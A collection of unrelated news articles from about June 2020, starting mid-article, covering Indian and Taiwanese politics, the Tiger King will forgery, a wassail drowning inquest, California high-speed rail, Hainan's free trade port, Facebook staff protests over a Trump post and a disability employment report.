Particularly, the contribution of this scientist of the Genomic Unit of the UMA took place for four months at the end of 2017, when Lozano joined the team led by the highly respected Dr. Marusyk in Tampa thanks to an IMP grant, developed by IMFAHE in collaboration with the UMA, through the Vice-Rectorate for Research and Transfer, and Andalucia TECH.

Bibliography:

Vander Velde R, Yoon N, Marusyk V, et al. Resistance to targeted therapies as a multifactorial, gradual adaptation to inhibitor specific selective pressures. Nat Commun. 2020;11(1):2393. Published 2020 May 14. doi:10.1038/s41467-020-16212-w

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
Ambedkar Nagar (UP):

Sharpening his attack on Prime Minister Narendra Modi on the issue of farmers plight, Congress leader Rahul Gandhi on Friday said the erstwhile UPA government had waived their Rs 70,000 crore loans even when the shape of the countrys economy was not all that bright.

Crude petroleum was being sold at USD 140 a barrel. The Government had no money. Still we decided to waive their (farmers) loans, he said.

The Congress Vice President was speaking during a meeting here in the course of his roadshow on the fourth day of kisan yatra from Deoria to Delhi.

He said when the then prime minister Manmohan Singh announced the waiver, BJP members asked in Parliament as to how the government would manage the money.

How can it be possible? From where Congress will get the funds, Rahul said they posed questions like this.

We are determined to work for the sake of farmers unlike the Modi government which neglects them, he claimed.

Rahul said when a farmers delegation had met Singh and shared their plight requesting the loan waiver, the UPA government took the decision within 10 days and wrote off the loans.

The Congress leader is out on a mahayatra during which he will cover 39 districts spread over 55 of the 80 Lok Sabha constituencies in Uttar Pradesh where Assembly elections are due early next year.

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(Newser)  Someone forged the will of the missing husband of Carole Baskin, a woman prominently featured in Netflix's Tiger King documentary series, a Florida sheriff said. Hillsborough County Sheriff Chad Chronister told 10 Tampa Bay on Tuesday that two experts had confirmed the will of Jack "Don" Lewis is a forgery. Lewis disappeared in 1997 and was declared dead in 2002. The millionaire's will left most of his estate, including a private Tampa zoo that would eventually become Big Cat Rescue animal sanctuary, to Baskin, cutting out his children from a previous marriage. Criminal charges aren't expected because the statute of limitations has expired, Chronister said. "The will had already been executed at that point, Chronister said. But, it certainly cast another shadow of suspicion, by all means." Lewis's disappearance remains an open case, the AP reports.

story continues below

In March, Chronister announced that he was seeking new leads. The documentary is about Joseph Maldonado-Passage, also known as "Joe Exotic," a former Oklahoma zookeeper who loves guns, younger men, and big cats. He was sentenced this year to 22 years in prison, convicted of trying to hire someone to kill Baskin, who had tried to shut him down, accusing the Oklahoma zoo of abusing animals and selling big cat cubs. In retaliation, Maldonado-Passage raised questions about Lewis' disappearance. The documentary covered Maldonado-Passages repeated accusations that Baskin killed her husband and possibly fed him to her tigers. Baskin, who founded Big Cat Rescue, has never been charged with any crime and released a statement rebutting the accusations made in the series. On Monday, a federal judge in Oklahoma awarded ownership of Maldonado-Passage's former zoo to Big Cat Rescue Corp. as part of a civil judgment.

(Read more Tiger King stories.)
Participants asked the Chinese regime to right the wrongs committed on June 4, 1989, when thousands of students were massacred for asking for freedom and democracy. Support for Hong Kong's pro-democracy movement and Taiwan's independence. The Taiwanese government calls on all nations to "not hide history".

Taipei (AsiaNews / Agencies) - At least 3 thousand people attended a vigil yesterday in the capital to commemorate the victims of Tiananmen. On June 4, 1989, thousands of students were killed in Beijing for demanding freedom, democracy and the fight against corruption in China.

At 8 pm, the demonstrators lit candles and activated the lights on their smartphone, observing silence for 64 seconds, to underline the 6th and 4th (June 4th, date of the massacre). The participants praised the Hong Kong pro-democracy movement and independence for Taiwan, and asked the Chinese Communist Party (CCP) regime to right the wrongs committed 31 years ago.

Hong Kong exile Edith Chung wanted to organize the demonstration after the authorities of her hometown had banned the traditional vigil in Victoria Park. Tens of thousands of Hong Kong citizens then challenged the government ban by parading through the streets of the city.

The crowd gathered in Taipei called for an end to the CCP's rule in China, the release of democratic activists and the dissolution of the Hong Kong police, believed to be responsible for the crackdown on the anti-extradition city movement.

Taiwanese authorities did not participate in the demonstration. The Taipei Foreign Ministry has released a statement asking all nations of the world not to "hide history": an obvious reference to China.

Taiwan, which is considered by Beijing to be a "rebel province", is the only Asian country to have clearly condemned the Beijing security law for Hong Kong . The measure was approved on May 28 by the National People's Assembly, the Chinese parliament. In response, Taiwanese President Tsai Ing-wen has promised humanitarian assistance to Hong Kong citizens who intend to seek asylum on the island.
A former nurse drowned in a drainage ditch behind a marquee while celebrating her birthday at a traditional drinking event, an inquest heard.

Elaine Williams, 54, was found to be almost three times the legal drink-drive limit when she died in the ditch at local wassail drinking gathering - an event where attendees drink mulled cider and bless the fruit trees.

She had been 'drinking at a local traditional Somerset event and had gone missing for an hour' after going for a cigarette, the hearing was told.

Elaine Williams, 54, was found to be almost three times the legal drink-drive limit when she died in the ditch at local wassail drinking gathering

Elaine was then discovered face down in a ditch at a cider farm near Highbridge, Somerset, and declared dead by an ambulance crew.

The inquest at Taunton Coroner's Court heard that Elaine was 'very intoxicated and had fallen asleep in a chair in the marquee' earlier on the evening of January 18.

Toxicology tests revealed 229mg of alcohol in her blood - with the limit for driving set at 80mg.

Pathologist Dr Russell Delaney told the hearing that Elaine died from drowning and said the effect of that amount of alcohol meant she was unable to get out of the ditch.

The inquest also heard from Elaine's sister, Helena Ibbetson, who said the pair had been to the wassail to celebrate their birthdays.

Toxicology tests revealed 229mg of alcohol in her blood, while the pathologist told the inquest the effect of that amount of alcohol meant she was unable to get out of the ditch

The wassail is an ancient custom that involves drinking mulled cider and singing to the health of the trees, usually in an apple orchard

She said Elaine, from Bridgwater, went along a dark, unlit path for a smoke and that there was no fencing around the ditch where she was later found.

Helena Ibbetson added that her sibling trained at St Thomas' Hospital, London, where she 'loved nursing and the social side'.

She said she later married but when that broke down alcohol became an issue, although Elaine was 'always kind and caring' and remained 'positive and strong'.

Senior coroner Tony Williams recorded a conclusion of accidental death on Thursday.

Wassailing, or blessing of the fruit trees, is an ancient custom that involves drinking and singing to the health of the trees, usually in an apple orchard.

This is done in the hope that they will provide a bountiful harvest in the autumn.
The millions of migrant workers who returned to their native places during the lockdown will spell doom for the film business in two wayswith their absence on the sets during film and television production, and as audiences in movie theatres.

As many as 20-25 million migrants have reached their villages via trains, buses and on foot over the past two months, Mint reported. Migrants represented 48% of residents in Delhi, Mumbai, Kolkata, Chennai, Hyderabad and Bengaluru in 2011, according to the national census. Most came from the Hindi-speaking states of Uttar Pradesh, Bihar, Jharkhand, and Chhattisgarh.

There has been a huge influx of migrant labour from Tamil Nadu to states such as Maharashtra as household help, cab drivers, and delivery personnel. Tamil films have enjoyed a huge draw in theatres there, with stars such as Rajinikanth bringing in massive opening weekends.

Parts of Mumbai such as Dharavi housed huge sections of Tamil audiences who may not be there anymore. Similarly, states such as Kerala had a lot of north Indian migrants that would flock the theatres to watch Hindi films," said Mukesh Mehta of Malayalam film production and distribution firm E4 Entertainment.

Rajinikanths blockbuster science fiction film 2.0, which was released in 2018, had earned 6.5 crore out of its total 80 crore first day domestic collections in Mumbai alone.

Last Diwali, shows of Vijays sports drama Bigil were sold out across Mumbai, helping its final glorious run.

Mumbai is still home to around 70 single-screen theatres, which sells tickets for less than 50, though the numbers are steadily declining.

Further, the city has been the backdrop of several Tamil films over the years, enhancing appeal for the Tamil population.

The same is true for Bollywood, say, in Kerala, which has over 1,000 single-screen cinema halls. In 2016, Aamir Khans Dangal became the first Hindi film to cross the 10 crore mark at the Kerala box office, unseating Khans PK, which had earned 9.50 crore in 2014.

The absence of migrant labour is also a cause of concern for filmmakers preparing to resume shooting with government guidelines soon.

Workers employed in the art, costume and light departments of sets were the worst hit when India went into lockdown more than two months ago and production of all film, television and web productions stopped.

Late last month, the Indian Motion Picture Producers Association had requested all members to clear the dues of employees, workers and technicians to help them survive with dignity in these difficult times".

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Traffic on Highway 99 passes high speed rail construction at the Cedar Viaduct in Fresno. (Tomas Ovalle)

In the strongest challenge to the California bullet train project in the past decade, a majority of the California Assembly has co-sponsored a resolution directing the state rail authority to defer awarding a contract this year to build a partial high speed system between Merced and Bakersfield.

The action this week comes amid growing concerns by lawmakers that Gov. Gavin Newsom's plan to build the system for $20.4 billion will not deliver the greatest possible ridership and reductions in highway travel and greenhouse gas emissions.

The Assembly resolution does not signify that the Legislature as a whole wants the project changed, given that Senate President Pro Tem Toni Atkins (D-San Diego) has stayed silent on a proposal to shift funds from the Central Valley to the Bay Area and Southern California. Atkins and her staff did not immediately respond for comment Friday.

Nonetheless, it reveals that most of the Assembly is now ready to confront Newsom and the California High-Speed Rail Authority during a critical moment.

The rail authority plans to commit later this year to the largest contract award in its history to install 171 miles of track, an advanced signaling system and a high voltage electrical system, as well as an agreement for system maintenance over the next 30 years.

The resolution directs the authority to not issue the contract until the Legislature reviews the plan and appropriates the remaining $4.2 billion in funds from a 2008 bond issue approved by voters. The sponsors of the act say issuing the contract before the appropriation is contrary to the way state agenices normally operate and would bind the state to an agreement that lawmakers have not properly reviewed.

The only remaining opportunity for the Legislature to weigh in on the direction of the high speed rail project occurs when [the rail authority] asks us for the remaining $4.2 billion in bond funds, Jim Frazier (D-Discovery Bay), chairman of the Transportation Committee, said in a statement.

Story continues

We cannot allow HSRA, or any department, to enter into contracts that bind the Legislatures approval of future appropriations. The Legislatures role in approving the budget must be respected before key decisions on the states largest infrastructure project are made.

The fight over the contract began last year when Assembly Speaker Anthony Rendon (D-Lakewood) backed a plan to delay installing an electrical system in the Central Valley and divert about $5 billion to future bullet train routes in Southern California and Bay Area that now carry commuter rail systems. The plan would shift initial service on the high speed tracks in the Central Valley to new low emission diesel trains that could travel all the way into Oakland or San Jose.

It is important to make sure that the High-Speed Rail Authority does not close the door to options other than the one created by a small handful of bureaucrats and the unelected Authority board," Rendon said in a statement. "The voters have been given no voice since 2008, and their elected representative, the Legislature, has had no vote since 2012.

But rail authority chief executive Brian Kelly has strongly opposed that plan, backed by the state's powerful construction unions. In a statement about the resolution, the rail authority only reiterated the need for the high speed rail project and said it looked forward to working with the Legislature.

Labor unions remain a powerful force in backing current planning for the project. Robbie Hunter, chief of the State Building and Construction Trades Council of California, said, "I am not an ideologue, but we need infrastructure in this state. It will improve the quality of life."

But a growing number of Southern California members argue that diverting some of the money to the urban centers pays off in jobs and investments in commuter rail systems, which would yield larger ridership and stoke public enthusiasm for more rail investments.

Legislative staffers said they believe even more members will join the resolution when it is taken to vote. A number of Republicans joined in the bipartisan resolution, including Jim Patterson (R-Fresno) and Vince Fong (R-Bakersfield.)

The resolution does not carry the force of law to actually block the rail authority from issuing the contract. But if the rail authority rejects the advice, it sets up a potentially costly and historic battle.

If the rail authority were to issue the contract and then the Assembly not agree to appropriate the funds, the state could be on the hook for termination costs and end up with a project in disarray. Or the Assembly could be forced to appropriate the money to avoid those costs, backing what it now believes is a flawed plan.

The Legislature launched actual construction of the high speed rail project when it appropriated the first allotment of funds from the bonds in 2012. Even then it was a close and controversial decision, passing the Senate by a single vote when three key senators opposed the move and said the plan needed changes.

Since then, the project has faced delays and escalating costs, one reason some in the Legislature want to change course.
China released the master plan for Hainan Free Trade Port (FTP) on Monday. Experts told China.org.cn that Hainan FTP would contribute to global economic growth and offer opportunities to global companies.

The master plan aims to build Hainan, China's largest special economic zone, into a globally influential high-level FTP by the middle of the century, and make the southern, tropical island province the frontline of China's integration into the global economic system.

"To build the Hainan FTP is unprecedented for both China and worldwide," said Zhang Jianping, a senior researcher at the Chinese Academy of International Trade and Economic Cooperation at China's Ministry of Commerce.

To enable the free flow of trade, the island province will introduce measures that center on zero tariffs for the trade of goods, while facilitating both entry and business operation of service providers.

Market entry will be markedly widened for investments in an open, transparent, and predictable environment, featuring strengthened intellectual property protection and market fairness, according to the plan.

Zhang said the degree of openness in trade is "unprecedented," and that the world has never had a FTP with an area as big as the entire Hainan province. He said the FTP will operate based on China's socialist market economy system.

"A new round of active opening up is required as the Chinese economy turns from export-driven to innovation-driven," Zhang said, adding that the country is also transitioning its focus in trade from quantity to quality, hence the necessity for leading platforms with innovative systems and policies like Hainan FTP.

Looking at the bigger picture, Zhang said that the building of Hainan FTP would help to improve global value and supply chains, and contribute to global economic growth by boosting the development of China and the Asia-Pacific Region.

Wang Haifeng, director of international trade and investment of the Chinese Academy of Macroeconomic Research, also spoke to China.org.cn about Hainan FTP from a global perspective. He said this move offers many opportunities to global companies and conveys a strong message to the international community: "China's reform and opening up will only go increasingly forward, and the door of opening up will only grow increasingly wider."

And the global business community is taking notice. According to official data, 338 foreign-funded enterprises were set up in Hainan in 2019, and the actual use of foreign capital reached US$1.5 billion. Both numbers doubled from the previous year.

Meanwhile, the first four months this year alone saw Hainan's actual use of foreign investment reach US$316 million. The province saw 110 newly established foreign-funded companies, covering trade, investment, medicine, and logistics.

Wang said the trinity of institutional innovations, laws, and preferential policies differentiate the planned opening up in Hainan from free trade zones that were established in China earlier, and that the master plan "started a new journey of China's reform and opening up."

He said that after making quantitative changes during years of explorations in free trade areas, China has now started to make qualitative changes. A pilot period for Hainan's free trade area began as early as April 2018, and policymakers have gradually explored and steadily promoted the establishment of the FTP.

According to the master plan, the FTP will adopt a modern industrial system that enables a smooth flow of key production factors, supported by tailored taxation mechanisms, efficient social governance, and the rule of law.

Hainan will also be given more autonomy in reform and encouraged to make both the laws and the regulatory system more flexible and efficient, thus clearing institutional obstacles hampering the flow of production factors. The rules and regulations will be made to align with international norms, according to the plan.

China's top leadership has underlined the importance of high-quality and high-standard construction of Hainan FTP, while prioritizing innovative institutional integration in the process of building the FTP. Chinese Vice Premier Han Zheng, who heads a leading group on deepening all-round reform and opening up in Hainan, chaired a meeting of the group on May 31 in Haikou, the capital city of Hainan province.

Wang said arrangements like the leading group have shown the central government's resolve, and that he has confidence in the construction of the FTP despite difficult tasks ahead in terms of implementation. He suggested drawing on experience from world-famous FTPs like Singapore and Hong Kong.
The DUP is demanding that Conor Murphy release all correspondence relating to a PPE joint order with Dublin that the Republic's Health Minister says was never placed.

The Sinn Fein Finance Minister told the Assembly in March that the joint consignment had been agreed with China. In April, he said the order had failed after "major economic powers entered the global race for PPE".

However, Simon Harris told the Dail on Thursday that he wasn't not aware of any joint order with Stormont being placed.

DUP MLA Paul Frew said: "Conor Murphy has it in his power to clear up the questions and end the confusion.

"He needs to now ensure that all emails, notes and minutes of discussions are published. Neither departmental officials or the minister should be deciding what they think is relevant or not.

"As deputy chair of the finance committee, an MLA and a citizen of Northern Ireland, I expect the Finance Minister to finally provide full openness and transparency."

Mr Frew said that the finance committee had requested all emails about the order but only some of the correspondence had been released and emails from March 30 and 31 were not provided.

He said that one explanation given was that these emails were judged irrelevant "because they related to the volumes, products, specification and pricing of PPE".

But he said that this made no sense as the bulk of emails released related to the same issues.

TUV leader Jim Allister said the claim of a joint PPE order had wrongly raised hopes within the NHS at a time when it was under tremendous pressure.

"There has been great reluctance to provide transparency on the issue," he said.

"Simon Harris' comments in the Dail this week, in which he confirmed that no joint order had existed between Dublin and Belfast, add to the need for urgent clarification on what exactly was going on."
An American traveller has revealed five things he 'hates' most about Australia - including Vegemite, Cheeto Puffs and restaurant staff not bringing the bill to the table.

Backpacker Tristan Kuhn has been travelling around Australia, visiting Melbourne, Tasmania, Adelaide and Cairns, since moving from Texas in October 2019.

Earlier this week, the 22-year-old shared 10 things he hates about Australia on YouTube, including 'aggressive' flies, slow WiFi, bicycle helmet laws, and expensive soft drinks - and he's since shared another five.

'I've got five more things that annoy and frustrate me about Australia,' he said in his latest video.

Backpacker Tristan Kuhn has been travelling around Australia, visiting Melbourne, Tasmania, Adelaide and Cairns since moving from Texas in October

'I'm making this video for two reasons - the first is you know 10 just wasn't enough, I mean there are so many things I hate about Australia so I just had to come up with five more.'

He labelled the five he talked about as his 'most hated' of all, before saying that he would continue sharing his experiences in Australia no matter what the feedback from fans was.

'Since so many of you Aussies couldn't take my sarcastic, light-hearted joking opinions about Australia let's see if you can handle this,' he said.

'Since so many of you Aussies couldn't take my sarcastic, light-hearted joking opinions about Australia let's see if you can handle this,' he said

Poll Which Australian 'quirk' do you dislike the most? Long sushi rolls Cheeto puffs Vegemite Waitresses not bringing you the check Paying for petrol at the counter There are no soft drink refills Paying extra for sauces Which Australian 'quirk' do you dislike the most? Long sushi rolls 14 votes

Cheeto puffs 3 votes

Vegemite 40 votes

Waitresses not bringing you the check 13 votes

Paying for petrol at the counter 12 votes

There are no soft drink refills 16 votes

Paying extra for sauces 112 votes Now share your opinion





SUSHI

Tristan started the video by saying that he 'hated' how sushi rolls come in a long tube, rather than smaller sizes.

'I hate Australia because y'all don't cut your sushi. Why does your sushi look so big when you could just cut it and make it into little bite-sized pieces,' he said.

While he understands that supermarket sushi from Woolworths and Coles can be cut - and you can visit a sushi train - the vast majority come in a whole roll.

And while some people might enjoy eating it this way, Tristan doesn't.

CHEETO PUFFS

He also took issue with the fact Australia only sells Cheeto Puffs, rather than regular American Cheetos, which can only be found in specialty stores.

Tristan (pictured with a koala) also took issue with the fact Australia only sells Cheeto puffs, rather than regular American Cheetos, which can only be found in specialty stores

'Why do you only have Cheeto puffs? What's wrong with just regular good old Cheetos? Why don't you sell those here when they're so much better than the puffs,' he said.

He would be happier if the regular Cheetos were stocked by the local supermarkets.

RESTAURANTS NOT BRINGING THE CHECK TO THE TABLE

In America the check - or bill - is always brought to the table after you finish a meal.

But in Australia this doesn't happen every time, sometimes the customer needs to walk to the cash register and pay up front.

'Why is it that in most restaurants you don't bring the damn check to my table when I'm ready to pay? My fat lazy American a** doesn't want to get all the way up go to the cash register just to give you my money,' he said.

VEGEMITE

While Vegemite is considered a national staple food Down Under, Tristan doesn't like the taste.

'I don't like your Vegemite and I've done it right... I put butter on it with just a little bit of Vegemite, you know not too much, but I still hate it,' he said.

The 22-year-old said even his Australian roommate in Melbourne doesn't like Vegemite, proving that it's a sub-par condiment.

The 22-year-old said even his Australian roommate in Melbourne doesn't like Vegemite, proving that it's a sub-par condiment

AUSTRALIA IS NOT THAT MUCH DIFFERENT TO AMERICA

Tristan's final point revealed that the Australian way of life isn't that much different to America, and he prefers to travel to countries that give him a 'culture shock'.

While he acknowledged that America has some 'sh***y' things about it like its healthcare system and ability to buy guns from just about anywhere, he believes Australia is 'more similar than different' to the USA.

And he would much prefer to explore Africa or parts of Asia where he doesn't have the same familiarity and ability to understand the language.
SAN FRANCISCO - At an emergency town hall meeting Facebook held this week, days after President Donald Trump posted, "When the looting starts, the shooting starts" on his account, 5,500 Facebook employees had a demand for Mark Zuckerberg.

Before the meeting, the employees voted in a poll on which questions to ask the chief executive at the meeting, according to internal documents viewed by The Washington Post. The question that got the most votes: "Can we please change our policies around political free speech? Fact checking and removal of hate speech shouldn't be exempt for politicians."

Zuckerberg also met privately with black executives to discuss their pain and objections to Trump's post, which referred to responding to protesters over George Floyd's death while in Minneapolis police custody. And employees questioned whether Facebook was in an "abusive relationship" with the president, according to a trove of documents that included more than 200 posts from an internal message board that showed unrest among employees.

Although some Facebook employees have taken to public forums such as Twitter to express their displeasure, the internal poll and the documents show just how widely and quickly their dissent and discontent has spread about Zuckerberg's decision to double down on allowing unfettered speech by politicians on the platform. He even appeared on Fox News Channel last week to defend his viewpoint.

Facebook faces a boiling crisis that is dragging the company into yet another major controversy, this one dealing with the explosive matters of police brutality, race and free speech. And Zuckerberg's early public words about the issue - in which he said the post didn't break the company's rules against inciting violence - have sparked widespread anger internally, with three high-ranking employees quitting in protest and others complaining about the post on rival site Twitter. Dozens of former employees signed a letter critiquing the decision, saying it was a betrayal of Facebook's early ideals.

But inside the company, criticism has been even more widespread and personal, according to the documents, which show how many employees believe Trump is purposefully testing them. Facebook, like other tech giants, has struggled to recruit African Americans, especially in its top ranks. That has led some employees to say that company leaders don't understand how deep the issues are. Only 4 percent of employees are black, a number that falls to 3 percent among senior leadership, according to Facebook's latest diversity report. Only one black person, diversity chief Maxine Williams, was involved in making the decision to leave Trump's post up.

Employees in recent days have wrestled deeply with issues of race and free speech - suspecting that Trump and other Republican leaders are purposefully testing social media companies in the lead-up to the November election.

"What's the point of establishing a principle if we're going to move the goal posts every time Trump escalates his behavior?" software engineer Timothy Aveni asked on an internal message board over the weekend. He quit this week.

"My toddler basically does the same thing to test boundaries," another person said.

Silicon Valley companies, and particularly Facebook, tend to demand loyalty from employees, who typically sign nondisclosure agreements that forbid them from speaking out publicly about the company. They ply them with big salaries, perks and some measure of voice: holding town hall meetings and allowing them to vent internally on message boards. Facebook's left-leaning workforce of about 45,000 full-time employees has been a target of Trump.

At Facebook, workers are recruited with the idealistic mission to connect the world and build products that can affect 2.9 billion users across its family of apps, including WhatsApp and Instagram.

But the 2016 presidential campaign changed the way the world - and workers - viewed Facebook, after Russians meddled in it by amplifying divisive messages to millions of Americans on the platform, showing how easily it could be exploited to hurt democracy.

Two years later, a privacy scandal involving Cambridge Analytica erupted, in which political operatives who had worked for the Trump campaign were found to have breached the personal data of tens of millions of Americans.

Those two incidences and others have engendered a slow-burning crisis of confidence in the company's leadership and direction, according to employees there and the posts, creating a flash point with last week's events.

"We have teams around the company giving serious attention to the ideas we're hearing, especially those from our Black community," spokeswoman Liz Bourgeois said in a statement. "This is a time not just to listen but to act."

Facebook's decisions have left some employees questioning whether the company has kowtowed to the right, said two executives who have been part of the discussions. Zuckerberg made a personal call last year not to take down a video of House Speaker Nancy Pelosi, D-Calif., that was altered to make her appear drunk, and chose not to fact-check political advertising or statements by politicians, said a person familiar with the decision-making who spoke on the condition of anonymity for fear of retaliation.

Company executives sometimes made political considerations, particularly about whether a decision would provoke conservative backlash, when deciding how to handle abusive content, according to the executives involved in the decisions.

Elizabeth Linder, a former executive in Facebook's policy and government division and one of the people who signed the letter, said that policies regarding what speech would or wouldn't be allowed were baked into the platform from the beginning.

"What bothers me to the core about the way Facebook is talking about this issue is that there is no such thing as freedom of speech on the platform," she said. "Facebook as a company has already decided what speech is allowed or not allowed through its content policies. And to say that the more power you have you can say whatever you want because it's newsworthy is hugely problematic."

Last week, Twitter marked erroneous tweets by the president on mail-in ballots with fact-checking labels for the first time. That prompted Trump to retaliate, signing an executive order that threatens to undermine a decades-old law that shields the tech industry from being held legally responsible for harmful content on their platforms.

He also posted and tweeted about sending in the military to control looting and "thugs" at the protests over the death of George Floyd, who was black, using the phrase, "When the looting starts, the shooting starts." That was perceived as racially divisive comment because it had a history of being used by segregationist politician George Wallace and by a police chief who had been aggressive with protesters.

Twitter marked the post as breaking its policies against inciting violence, but Facebook, which has a similar policy against provoking violence, decided not to follow suit. A week ago, on May 29, Zuckerberg said in a public Facebook post that he would not take action, because the company wants to enable free expression and public debate about political activity - and because he did not think the post broke the company's policies.

Facebook employees took another tack.

They tried to report Trump's post, TASK T6770430, as problematic to trigger review by content moderators, contractors who remove offensive content. Some dove into the company's systems to try to understand the rationale for keeping it up, while others counted the hours and said they assumed it was just a matter of time before a post that so clearly broke the company's policies would be removed.

"I'm trying to reassure myself that we will do something here. We HAVE to, surely? Are there any lines that remain to be crossed?" someone asked.

"While we understand that people commonly express disdain or disagreement by threatening or calling for violence in non-serious ways, we remove language that incites or facilitates serious violence," according to Facebook's policy on inciting violence.

They also unleashed complaints on Workplace, the internal messaging board.

"It might be a coincidence, but the timing of this feels like a test balloon . . . of what we should expect through November 2020 and beyond," said one person.

Employees directly involved in implementing these standards also weighed in. "This is exactly the kind of content that can incite violence and is exactly what we should be taking action on," said one employee who worked on Facebook's Societal Violence team for 15 months.

At the same time, a group of black executives met privately with Zuckerberg and chief operating officer Sheryl Sandberg on May 30 to protest the decision, according to the documents. The group collectively agreed to provide more input about content policy decisions, such as how Facebook evaluates racial "dog whistles," and to meet more frequently with Zuckerberg and Sandberg.

Some on the message board pointed out the racially divisive history of the language in the post.

On Tuesday, Zuckerberg decided he would hold an emergency town hall meeting, pushing up the weekly companywide Q&A that is usually held on Thursdays.

During the gathering, Zuckerberg said the language in Trump's post had "no history of being read as a dog whistle for vigilante supporters to take justice into their own hands," according to a transcript obtained by Vox and workers who attended. The comment was a reference to "aggressive, even excessive, policing," he said, but he took Trump's post to be a warning or threat of using the military against looting. He thought it was important for people to see and discuss.

Zuckerberg said that he had thought long and hard about the issue, but that when it came to the moment when he could take it down, "he couldn't get there." He said he knew employees would be very upset.

He also said he was exploring a labeling option, similar to Twitter's middle ground between removal and merely leaving a post up. He said he was open to reexamining Facebook's policies on violence committed by state actors, such as police.

The comment struck some employees as inconsistent because Facebook had already taken down accounts by state actors previously and of military leaders in Myanmar, according to the executives. Facebook took down the accounts after criticism that the company had allowed military leaders on the platform to threaten the Rohingya ethic group, helping to fuel a genocide.

And employees were also surprised because Zuckerberg had said in past congressional testimony that politicians were not exempt from the company's prohibitions on inciting violence, transcripts of which workers shared on Workplace.

"I'm really bothered by the Q+A today," one black employee wrote. "We hear where the leaders of this country and our Execs stand and know that the Policy Matters more than Black Lives."

In addition to diversity head Williams, the team that made the decision included Zuckerberg; Sandberg; Joel Kaplan, the vice president for U.S. public policy; and Nick Clegg, the vice president of global affairs and communications; as well as the head of human resources and the general counsel.

Another executive who posted a message said he originally supported the decision to leave up Trump's post, but changed his mind after contemplating the lack of diversity within Facebook's leadership.

"After the call was made on Friday to keep Trump's post, I convinced myself that it was the only logical decision. [But] slowly, over the weekend and Monday, doubt has crept in," the executive wrote. "I did not feel threatened by it but would the black community feel threatened? Can I understand why and where they come from? Can the people who were involved in making the decision? I don't think so."
Kessler Foundation and University of New Hampshire May 2020 nTIDE report -- featuring the New Jersey-based GI Go Fund's programs for helping veterans transition from active duty to civilian jobs

East Hanover, NJ - June 5, 2020 - As the spread of COVID-19 slows and restrictions begin to be lifted, people appear to be returning to work, according to today's National Trends in Disability Employment - Monthly Update (nTIDE), issued by Kessler Foundation and the University of New Hampshire's Institute on Disability (UNH-IOD).

nTIDE COVID Update (month-to-month comparison)

In the Bureau of Labor Statistics (BLS) Jobs Report released Friday, the employment-to-population ratio for working-age people with disabilities increased from 26.3 percent in April to 27.7 percent in May (up 5.3 percent or 1.4 percentage points). For working-age people without disabilities, the employment-to-population ratio also increased from 63.2 percent in April to 65.2 percent in May (up 3.2 percent or 2 percentage points). The employment-to-population ratio, a key indicator, reflects the percentage of people who are working relative to the total population (the number of people working divided by the number of people in the total population multiplied by 100).

"Comparing April to May, we see increases in the employment-to-population ratio, as well as the labor force participation rate, for both people with and without disabilities," said John O'Neill, PhD, director of employment and disability research at Kessler Foundation. "These findings may be an indication of people with and without disabilities returning to work as restrictions ease and businesses open up."

For working-age people with disabilities, the labor force participation rate increased from 32.7 percent in April to 34.2 percent in May (up 4.6 percent or 1.5 percentage points). For working-age people without disabilities, the labor force participation rate also increased from 73.6 percent in April to 74.8 percent in May (up 1.6 percent or 1.2 percentage points). The labor force participation rate is the percentage of the population that is (a) working, (b) not working and on temporary layoff, or (c) not working and actively looking for work.

"There are concerns that workers who lost their jobs permanently (immediately or after being on furlough for a period of time) will stop looking for work and thus exit the labor force," explained economist Andrew Houtenville, PhD, research director of the University of New Hampshire's Institute on Disability. "Seeing an increase in the labor force participation rate of people with disabilities is a very encouraging sign. People are remaining engaged in the labor market."

Traditional nTIDE Numbers (comparison to the same time last year)

The employment-to-population ratio for working-age people with disabilities decreased from 30.7 percent in May 2019 to 27.7 percent in May 2020 (down 9.8 percent or 3 percentage points). For working-age people without disabilities, the employment-to-population ratio also decreased from 74.5 percent in May 2019 to 65.2 percent in May 2020 (down 12.5 percent or 9.3 percentage points). The employment-to-population ratio, a key indicator, reflects the percentage of people who are working relative to the total population (the number of people working divided by the number of people in the total population multiplied by 100).

For working-age people without disabilities, the labor force participation rate for working-age people with disabilities increased from 32.8 percent in May 2019 to 34.2 percent in May 2020 (up 4.3 percent or 1.4 percentage points). For working-age people without disabilities, the labor force participation rate also decreased from 77.1 percent in May 2019 to 74.8 percent in May 2020 (down 3 percent or 2.3 percentage points). The labor force participation rate is the percentage of the population that is (a) working, (b) not working and on temporary layoff, or (c) not working and actively looking for work.

For reference, in May 2020, among all workers ages 16-64, there were 403,900 workers with disabilities, which represented 3.1 percent of the total 128,693,000 workers in the U.S.

New! nTIDE COVID Update - Friday, June 19 at 12:00 pm Eastern

Stay tuned as we follow the impact of COVID-19 on the employment of people with disabilities, and look at the numbers in more detail. Check @KesslerFdn on Twitter, and KesslerFoundation on Facebook for postings of registration link.

Beyond the Numbers

Transition from military service to the civilian sector presents challenges for veterans, especially for those with disabilities. With recent shocks to the economy caused by the spread of COVID-19, these challenges are magnified. Among the organizations dedicated to helping veterans is the Newark-based GI Go Fund, a nonprofit that assists veterans with finding employment, accessing housing, and claiming their educational and medical benefits.

Employment initiatives, implemented with community partnerships, are a major focus of the GI Go Fund, according to CEO and co-founder Jack Fanous. One initiative, Disabled Veterans to Work, enabled veterans with disabilities to work from home, providing customer service for PSEG, a New Jersey utility. The Disabled Veterans to Work Program, which was funded initially by a Kessler Foundation community employment grant, has expanded to other major cities, where Fortune 500 companies are staffing their U.S.-based call centers remotely with veterans with disabilities. "This program helped show that working from home benefited employers, as well as workers with disabilities," noted Fanous, "a concept that has rapidly gained widespread acceptance with the closures of corporate headquarters and businesses made necessary by measures to contain the COVID-19 pandemic."

The GI Go Fund is home to the Jackson Drysdale Veterans Center, an incubator for veteran-owned small businesses that is the only center of its kind in New Jersey. The current crisis is stretching the resources of the Center, which anticipates a tripling of the number of veterans seeking assistance. The Center remains open with the help of a COVID Emergency grant from Kessler Foundation. "This additional support means we can provide microloans to our veteran entrepreneurs," said Fanous, and assist them with applications for disaster relief, including options available through the Small Business Administration."

Fanous is also CEO and co-founder of JobPath, a technology platform that connects veterans and employers, and includes a unique system for matching military skills with civilian jobs, resources for job preparation and training, a database of jobseekers, and a job board where major companies list open positions. Justin Constantine, a retired Marine Lieutenant Colonel, is the chief development officer of JobPath, which has a growing list of major corporate clients such as Apple and Panasonic, and more than 200,000 active veteran users.

